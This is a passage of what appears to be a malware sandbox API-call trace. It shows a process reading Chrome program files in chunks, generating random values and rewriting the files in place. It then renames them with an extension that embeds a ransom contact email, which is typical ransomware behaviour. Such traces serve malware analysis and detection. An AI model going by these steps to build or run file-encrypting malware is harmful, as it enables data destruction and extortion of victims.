nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xc26fbe4, lpOverlapped=0x0 | out: lpBuffer=0x19692168*, lpNumberOfBytesRead=0xc26fbe4*=0xc800, lpOverlapped=0x0) returned 1 [0059.278] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.279] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c168 [0059.279] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0059.279] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf190 [0059.279] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf190) returned 1 [0059.280] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d7e1a8 [0059.281] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf190 [0059.281] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf1b8 [0059.281] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf1b8) returned 1 [0059.281] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0059.281] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c168) returned 1 [0059.281] WriteFile (in: hFile=0x8dc, lpBuffer=0x12d7e1a8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xc26fbe4, lpOverlapped=0x0 | out: lpBuffer=0x12d7e1a8*, lpNumberOfBytesWritten=0xc26fbe4*=0xc800, lpOverlapped=0x0) returned 1 [0062.348] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7e1a8) returned 1 [0062.348] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x33b23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.348] ReadFile (in: hFile=0x8dc, lpBuffer=0x19692168, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xc26fbe4, lpOverlapped=0x0 | out: lpBuffer=0x19692168*, lpNumberOfBytesRead=0xc26fbe4*=0xc800, lpOverlapped=0x0) returned 1 [0062.349] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x33b23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.349] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402ba0 [0062.349] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4377d8 [0062.349] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8ff8 [0062.349] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8ff8) returned 1 [0062.350] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d7e1a8 [0062.351] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8ff8 [0062.351] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8f58 [0062.351] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8f58) returned 1 [0062.351] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0062.351] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0062.351] WriteFile (in: hFile=0x8dc, lpBuffer=0x12d7e1a8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xc26fbe4, lpOverlapped=0x0 | out: lpBuffer=0x12d7e1a8*, lpNumberOfBytesWritten=0xc26fbe4*=0xc800, lpOverlapped=0x0) returned 1 [0066.244] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7e1a8) returned 1 [0066.244] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d8d0 [0066.244] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.244] WriteFile (hFile=0x8dc, lpBuffer=0x4ef800, nNumberOfBytesToWrite=0x151, lpNumberOfBytesWritten=0xc26fc8c, lpOverlapped=0x0) Thread: id = 495 os_tid = 0xeac [0049.288] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\resources.pak")) returned 0x20 [0055.877] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak", dwFileAttributes=0x20) returned 1 [0056.294] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\resources.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb80 [0056.295] GetFileSizeEx (in: hFile=0xb80, lpFileSize=0xc22f7e4 | out: lpFileSize=0xc22f7e4*=18376476) returned 1 [0056.295] SetFilePointerEx (in: hFile=0xb80, liDistanceToMove=0x1186718, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.295] ReadFile (in: hFile=0xb80, lpBuffer=0xc22f768, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc22f764, lpOverlapped=0x0 | out: lpBuffer=0xc22f768*, lpNumberOfBytesRead=0xc22f764*=0x4, lpOverlapped=0x0) returned 1 [0056.297] SetFilePointerEx (in: hFile=0xb80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.297] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429520 [0056.297] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429660 [0056.297] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429688 [0056.297] NtQuerySystemTime (in: CurrentTime=0xc22f744 | out: CurrentTime=0xc22f744*=132174898202772000) returned 0x0 [0056.297] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x714efe0 [0056.297] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x5bdbed3 [0056.297] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x46b7b9c5 [0056.297] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x60284f0f [0056.297] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x5337bffa [0056.297] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x6c730a36 [0056.297] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x2429424b [0056.297] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x3205d0f [0056.297] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x723023e8 [0056.297] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x26148024 [0056.297] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x78b8e4f8 [0056.297] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x644124a6 [0056.297] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x3e46b583 [0056.297] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x274da679 [0056.297] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x4d53441f [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x5fe947e8 [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x7ec93d2 [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x7619d957 [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x555e4395 [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x4e26fbb8 [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x1424cc9 [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0xec5accd [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x2ffff55 [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x9f4b793 [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x723bc00f [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x6be5bef0 [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x42084fa9 [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x3341dedd [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x715d9afe [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x355c802e [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x355a3633 [0056.298] RtlRandomEx (in: Seed=0xc22f750 | out: Seed=0xc22f750) returned 0x2a4a112b [0056.309] SetFilePointerEx (in: hFile=0xb80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.309] ReadFile (in: hFile=0xb80, lpBuffer=0x5e54068, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xc22f6fc, lpOverlapped=0x0 | out: lpBuffer=0x5e54068*, lpNumberOfBytesRead=0xc22f6fc*=0xc800, lpOverlapped=0x0) returned 1 [0056.313] SetFilePointerEx (in: hFile=0xb80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0056.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437b98 [0056.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429520 [0056.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429520) returned 1 [0056.314] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e60870 [0056.314] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429520 [0056.314] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429688 [0056.314] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429688) returned 1 [0056.314] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0056.314] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0056.314] WriteFile (in: hFile=0xb80, lpBuffer=0x5e60870*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xc22f6fc, lpOverlapped=0x0 | out: lpBuffer=0x5e60870*, lpNumberOfBytesWritten=0xc22f6fc*=0xc800, lpOverlapped=0x0) returned 1 [0057.744] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e60870) returned 1 [0057.744] SetFilePointerEx (in: hFile=0xb80, liDistanceToMove=0x8ca000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.744] ReadFile (in: hFile=0xb80, lpBuffer=0x5e54068, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xc22f6fc, lpOverlapped=0x0 | out: lpBuffer=0x5e54068*, lpNumberOfBytesRead=0xc22f6fc*=0xc800, lpOverlapped=0x0) returned 1 [0057.747] SetFilePointerEx (in: hFile=0xb80, liDistanceToMove=0x8ca000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.747] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb80 [0057.747] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437940 [0057.747] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4289b0 [0057.747] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4289b0) returned 1 [0057.748] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e60870 [0057.748] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4289b0 [0057.748] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428988 [0057.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428988) returned 1 [0057.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437940) returned 1 [0057.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0057.748] WriteFile (in: hFile=0xb80, lpBuffer=0x5e60870*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xc22f6fc, lpOverlapped=0x0 | out: lpBuffer=0x5e60870*, lpNumberOfBytesWritten=0xc22f6fc*=0xc800, lpOverlapped=0x0) returned 1 [0059.239] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e60870) returned 1 [0059.239] SetFilePointerEx (in: hFile=0xb80, liDistanceToMove=0x1179f1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.239] ReadFile (in: hFile=0xb80, lpBuffer=0x5e54068, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xc22f6fc, lpOverlapped=0x0 | out: lpBuffer=0x5e54068*, lpNumberOfBytesRead=0xc22f6fc*=0xc800, lpOverlapped=0x0) returned 1 [0059.242] SetFilePointerEx (in: hFile=0xb80, liDistanceToMove=0x1179f1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.242] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb80 [0059.242] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b8e8 [0059.242] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4609e8 [0059.242] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4609e8) returned 1 [0059.243] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5eab8a0 [0059.243] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4609e8 [0059.243] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf0a0 [0059.243] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf0a0) returned 1 [0059.243] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b8e8) returned 1 [0059.243] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0059.243] WriteFile (in: hFile=0xb80, lpBuffer=0x5eab8a0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xc22f6fc, lpOverlapped=0x0 | out: lpBuffer=0x5eab8a0*, lpNumberOfBytesWritten=0xc22f6fc*=0xc800, lpOverlapped=0x0) returned 1 [0062.328] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eab8a0) returned 1 [0062.328] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48da08 [0062.328] SetFilePointerEx (in: hFile=0xb80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.328] WriteFile (in: hFile=0xb80, lpBuffer=0x12e2bb68*, nNumberOfBytesToWrite=0x14b, lpNumberOfBytesWritten=0xc22f7a4, lpOverlapped=0x0 | out: lpBuffer=0x12e2bb68*, lpNumberOfBytesWritten=0xc22f7a4*=0x14b, lpOverlapped=0x0) returned 1 [0062.740] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2bb68) returned 1 [0063.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec00) returned 1 [0063.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429520) returned 1 [0063.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec90) returned 1 [0063.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48da08) returned 1 [0063.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429660) returned 1 [0063.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4295c0) returned 1 [0063.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429368) returned 1 [0063.342] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe2) returned 0x423da8 [0063.342] wcscpy (in: _Dest=0x423da8, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak" [0063.343] wcscat (in: _Dest=0x423da8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak.mailto[2Hamlampampom@cock.li].cd46d" [0063.343] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xc22f75c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.343] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf8) returned 0x41c0b8 [0063.343] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41c0b8) returned 1 [0063.344] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4829c0) returned 1 [0063.344] NtQueryInformationFile (in: FileHandle=0xb80, IoStatusBlock=0xc22f768, FileInformation=0xc22f740, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xc22f768, FileInformation=0xc22f740) returned 0x0 [0063.344] NtSetInformationFile (FileHandle=0xb80, IoStatusBlock=0xc22f768, FileInformation=0xc22f740, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.345] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0063.345] FlushFileBuffers (hFile=0xb80) returned 1 [0066.220] CloseHandle (hObject=0xb80) Thread: id = 496 os_tid = 0xeb0 [0049.289] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\snapshot_blob.bin")) returned 0x20 [0055.877] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin", dwFileAttributes=0x20) returned 1 [0057.965] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\snapshot_blob.bin"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xc88 [0057.965] GetFileSizeEx (in: hFile=0xc88, lpFileSize=0xc2efb3c | out: lpFileSize=0xc2efb3c*=1449400) returned 1 [0057.965] SetFilePointerEx (in: hFile=0xc88, liDistanceToMove=0x161db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.965] ReadFile (in: hFile=0xc88, lpBuffer=0xc2efac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc2efabc, lpOverlapped=0x0 | out: lpBuffer=0xc2efac0*, lpNumberOfBytesRead=0xc2efabc*=0x4, lpOverlapped=0x0) returned 1 [0057.967] SetFilePointerEx (in: hFile=0xc88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.967] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412f8 [0057.967] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441118 [0057.967] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413c0 [0057.967] NtQuerySystemTime (in: CurrentTime=0xc2efa9c | out: CurrentTime=0xc2efa9c*=132174898219464000) returned 0x0 [0057.967] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x3922a631 [0057.967] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x6f4b362 [0057.967] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x8084055 [0057.967] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x6bd029c7 [0057.967] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x332c5660 [0057.967] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x66cdc8fb [0057.967] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x655b0000 [0057.967] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x4b85978c [0057.967] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x6a18c52d [0057.967] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x2bb4ce26 [0057.967] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x383bd137 [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x1ce315c1 [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x7404a91a [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x2ea757eb [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x7a359eb9 [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x4587de0f [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x300dc64b [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x4f50775d [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x42a03c8c [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x357719ed [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x543874d3 [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0xd53b819 [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x59a08955 [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x7405c965 [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x66e1ecfc [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x37914ff7 [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x4ed2e567 [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x27b23b58 [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x476ecc80 [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x7de97f68 [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0x42ea5b1f [0057.968] RtlRandomEx (in: Seed=0xc2efaa8 | out: Seed=0xc2efaa8) returned 0xb0ea690 [0057.979] SetFilePointerEx (in: hFile=0xc88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.979] ReadFile (in: hFile=0xc88, lpBuffer=0x19815018, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xc2efa54, lpOverlapped=0x0 | out: lpBuffer=0x19815018*, lpNumberOfBytesRead=0xc2efa54*=0xc800, lpOverlapped=0x0) returned 1 [0057.986] SetFilePointerEx (in: hFile=0xc88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c090 [0057.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b258 [0057.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412f8 [0057.986] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4412f8) returned 1 [0057.987] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19821820 [0057.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412f8 [0057.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413c0 [0057.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4413c0) returned 1 [0057.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b258) returned 1 [0057.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c090) returned 1 [0057.988] WriteFile (in: hFile=0xc88, lpBuffer=0x19821820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xc2efa54, lpOverlapped=0x0 | out: lpBuffer=0x19821820*, lpNumberOfBytesWritten=0xc2efa54*=0xc800, lpOverlapped=0x0) returned 1 [0059.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19821820) returned 1 [0059.246] SetFilePointerEx (in: hFile=0xc88, liDistanceToMove=0xbb800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.246] ReadFile (in: hFile=0xc88, lpBuffer=0x19815018, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xc2efa54, lpOverlapped=0x0 | out: lpBuffer=0x19815018*, lpNumberOfBytesRead=0xc2efa54*=0xc800, lpOverlapped=0x0) returned 1 [0059.248] SetFilePointerEx (in: hFile=0xc88, liDistanceToMove=0xbb800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.248] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb80 [0059.248] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b8e8 [0059.248] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf0a0 [0059.248] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf0a0) returned 1 [0059.249] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19821820 [0059.250] RtlAllocateHeap (HeapHandle=0x3f0000, 